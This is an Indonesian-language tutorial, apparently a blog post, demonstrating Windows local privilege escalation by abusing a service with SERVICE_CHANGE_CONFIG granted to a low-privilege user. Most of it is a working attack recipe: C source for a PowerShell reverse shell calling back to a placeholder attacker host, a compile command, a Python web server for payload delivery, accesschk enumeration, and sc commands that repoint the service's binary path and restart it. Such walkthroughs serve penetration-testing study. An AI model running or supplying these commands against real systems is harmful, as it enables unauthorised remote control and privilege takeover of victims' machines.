WinPE: Insecure Service Permissions (Service Abuse)
Pada kesempatan kali ini, kita akan mendemokan salah satu serangan Local Privilege Escalation pada Windows System. Skenario ini dapat dilakukan ketika ada sebuah Service yang diberikan “Permission” berlebih, sehingga pengguna biasa (low user) dapat melakukan konfigurasi ulang pada Service tersebut.
Kalian bisa bayangkan apa jadinya jika ada User yang dapat mengubah arah BINARY PATH
pada Local Service di Windows?
Hal ini bisa terjadi karena terdapat miskonfigurasi pada Service, yang di mana izin SERVICE_CHANGE_CONFIG
itu diterapkan pada User yang bukan seharusnya.
Preparation
Sebelum dilanjutkan, kita perlu menyiapkan terkait:
- accesschk.exe
- exploit.exe
Untuk Tool accesschk.exe
kita bisa mengunduhnya secara resmi melalui link microsoft.com.
Dan untuk exploit.exe
-nya itu dapat kita Compile secara mandiri (tanpa harus menggunakan msfvenom) dengan cara mengikuti langkah-langkah di bawah ini.
reverse-shell.c
#include <windows.h>
#include <stdio.h>
int main(){
system("powershell.exe -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('<attacker host>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
return 0;
}
Note: Ubah bagian <attacker host>
.
Compile
Setelah script di atas sudah dipersiapkan, maka kita lakukan kompilasi dari kode C menjadi sebuah file .exe
.
x86_64-w64-mingw32-gcc reverse-shell.c -o exploit.exe
Additional Note
Sebagai catatan, di sini saya memindahkan file exploit.exe
menggunakan HTTP Web Server di sisi Linux agar dapat dipanggil melalui mesin target (Windows).
python3 -m http.server 8000
Proof of Concept
Enumeration
Pertama-tama kita dapat gunakan Tool accesschk.exe
untuk melihat Service mana saja yang dapat dimodifikasi oleh User yang sedang kita gunakan.
.\accesschk.exe /accepteula -uwcv %username% *
Dari output accesschk.exe ini, kita mendapatkan sebuah Service yang bernama daclsvc
, yang perlu kita perhatikan di sini yaitu Attribute RW
dan Attribute SERVICE_CHANGE_CONFIG
. Dari hasil ini dapat disimpulkan bahwa kita (sebagai low user) memiliki izin untuk mengubah konfigurasi Service-nya.
Exploit
Setelah kita mengetahui User yang sedang kita gunakan itu mempunyai izin SERVICE_CHANGE_CONFIG
, maka hal yang akan kita lakukan selanjutnya yaitu memodifikasi binpath
untuk memasukkan exploit.exe ke dalam konfigurasi Service-nya.
sc config "<service name>" binpath="C:\<exploit file>"
Kalau konfigurasinya berhasil kita ubah, maka kita akan mendapatkan sebuah pesan ChangeServiceConfig SUCCESS.
Persiapkan Listener pada Attacker Host terlebih dahulu untuk menangkap koneksi Reverse Shell-nya.
Jika sudah, kita hanya perlu restart Service-nya saja, dengan cara memberhentikannya dan memulainya kembali.
sc stop "<service name>"
sc start "<service name>"